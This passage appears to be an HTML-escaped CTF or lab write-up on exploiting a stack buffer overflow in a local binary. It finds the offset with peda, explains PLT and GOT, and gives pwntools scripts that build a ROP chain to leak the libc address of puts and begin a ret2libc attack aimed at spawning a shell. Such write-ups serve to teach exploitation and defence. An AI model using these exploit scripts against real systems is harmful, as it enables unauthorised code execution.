
&lt;p&gt;To know the exact amount of junk to send to the input to reach a Buffer Overflow, we could use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pattern_create&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pattern_offset&lt;/code&gt; of &lt;strong&gt;peda&lt;/strong&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pattern_create 200
&lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'&lt;/span&gt;

gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;run
Starting program: /root/Downloads/rop/jl_bin
Enter access password: AAA%AAsAABAA&lt;span class=&quot;nv&quot;&gt;$AAnAACAA&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-AA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;AADAA&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;AA&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAA
oAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

access denied.

Program received signal SIGSEGV, Segmentation fault.
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;----------------------------------registers-----------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
RAX: 0x0
RBX: 0x0
RCX: 0x7fa95451c504 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&amp;lt;__GI___libc_write+20&amp;gt;:    cmp    rax,0xfffffffffffff000&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
RDX: 0x7fa9545ef8c0 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0
RSI: 0x9dc9c0 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;access denied.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ssword: &quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
RDI: 0x0
RBP: 0x6c41415041416b41 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AkAAPAAl'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
RSP: 0x7fff3d39ea58 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;


gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pattern_offset AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA found at offset: 136
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The number of junk characters to overwrite the content of the &lt;strong&gt;RSP&lt;/strong&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;136&lt;/code&gt;. Therefore, we are going to start our exploit. The exploit is developed in python2 using the amazing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pwn&lt;/code&gt; library.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'./jl_bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'linux'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'amd64'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;136&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# send payload when the programs start
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until break line
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until access denied
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prompt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But… this program does not do anything. We need to overwrite &lt;strong&gt;RSP&lt;/strong&gt; with some valid direction to take advantage. 
&lt;strong&gt;ASLR&lt;/strong&gt; is protecting the system randomizing address, and in 64 bits there is almost impossible to bruteforce the address space, so we need something extra… &lt;strong&gt;Leaks&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-is-a-leak&quot;&gt;&lt;a name=&quot;leak&quot;&gt;&lt;/a&gt;What is a Leak?&lt;/h2&gt;

&lt;p&gt;Firstly, we need to vaguely describe &lt;strong&gt;PLT&lt;/strong&gt; and &lt;strong&gt;GOT&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;PLT&lt;/strong&gt; (Procedure Linkage Table which) is used to call external procedures/functions whose address is not known in the time of linking, and is left to be resolved by the dynamic linker at run time.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;GOT&lt;/strong&gt; (Global Offsets Table) is similar to PLT but is used to resolve addresses.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since the &lt;strong&gt;GOT&lt;/strong&gt; and &lt;strong&gt;PLT&lt;/strong&gt; are used directly from anywhere in the program, they need to have a known static address in memory. In addition, the GOT needs to have write permissions, because when the address of a function is resolved, it is written into its corresponding GOT entry. Moreover, the addresses in the GOT section are static (not affected by ASLR).&lt;/p&gt;

&lt;p&gt;Therefore, using &lt;strong&gt;puts&lt;/strong&gt; to print the address of the &lt;strong&gt;puts&lt;/strong&gt; function in the &lt;strong&gt;libc&lt;/strong&gt; mapped in the &lt;strong&gt;GOT&lt;/strong&gt; table, would allow us to retrieve the base address of &lt;strong&gt;libc&lt;/strong&gt; to call other functions… is a bit tricky but we are going step by step.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;exploiting-the-leak&quot;&gt;&lt;a name=&quot;exploiting_leak&quot;&gt;&lt;/a&gt;Exploiting the leak&lt;/h2&gt;

&lt;p&gt;Firstly, we need three things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Address of &lt;strong&gt;pop rdi&lt;/strong&gt; to pass the argument to &lt;strong&gt;RDI&lt;/strong&gt;, that will be used to puts. That is because in 64 bits arguments are pased in registries, in 32 bits are retrieved from the stack. Therefore, we need to pop arguments to the registry using this function &lt;em&gt;(0x40179b)&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt; ROPgadget --binary jl_bin &amp;gt; gadgets.txt
&amp;gt; cat gadgets.txt | grep &quot;pop rdi&quot;
0x000000000040179b : pop rdi ; ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Address of GOT table where the puts in libc is &lt;em&gt;(0x404028)&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;objdump -D jl_bin | grep puts
0000000000401050 &amp;lt;puts@plt&amp;gt;:
  401050:       ff 25 d2 2f 00 00       jmpq   *0x2fd2(%rip)        # 404028 &amp;lt;puts@GLIBC_2.2.5&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Address of puts to print the address leaked &lt;em&gt;(0x401050)&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally our exploit will look like this:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'./jl_bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'linux'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'amd64'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;136&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x40179b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;got_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x404028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x401050&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;got_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plt_put&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# send payload when the programs start
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until break line
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until access denied
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Leaked address printed in a readable format
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Leaked puts@GLIBC: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prompt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python exploit.py
[+] Starting local process './jl_bin': pid 1847
[+] Leaked puts@GLIBC: \x10F\xb5\xa6\x7f\x00\x00
[*] Stopped process './jl_bin' (pid 1847)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There is a problem, if the process is stopped, the address leaked will be randomized in the next execution. We need to preserve the process open again.
To achieve that, we could call to &lt;strong&gt;main&lt;/strong&gt; funcion after leaking the address. The address of main is &lt;em&gt;0x401619&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt; objdump -D jl_bin | grep main
  401194:       ff 15 56 2e 00 00       callq  *0x2e56(%rip)        # 403ff0 &amp;lt;__libc_start_main@GLIBC_2.2.5&amp;gt;
0000000000401619 &amp;lt;main&amp;gt;:
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our exploit:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'./jl_bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'linux'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'amd64'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;136&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x40179b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;got_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x404028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x401050&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt_main&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x401619&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;got_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plt_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plt_main&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# send payload when the programs start
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until break line
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until access denied
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Leaked address printed in a readable format
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Leaked puts@GLIBC: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prompt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;ret2libc&quot;&gt;&lt;a name=&quot;ret2libc&quot;&gt;&lt;/a&gt;Ret2libc&lt;/h2&gt;

&lt;p&gt;Once we have leaked the &lt;strong&gt;puts&lt;/strong&gt; address of &lt;strong&gt;libc&lt;/strong&gt; we need to search the &lt;strong&gt;offset&lt;/strong&gt; of the &lt;strong&gt;puts&lt;/strong&gt; address in &lt;strong&gt;libc&lt;/strong&gt; to reach the base address of &lt;strong&gt;libc&lt;/strong&gt;. Knowing this address will allow us to call &lt;strong&gt;system&lt;/strong&gt; functions and retrieve a shell.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt; locate libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib32/libc.so.6

&amp;gt; readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep puts
   426: 0000000000071910   413 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The address of puts in libc is &lt;em&gt;0x71910&lt;/em&gt;. Then the base of the &lt;strong&gt;libc&lt;/strong&gt; address is: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leaked address - 0x71910&lt;/code&gt;.&lt;/p&gt;

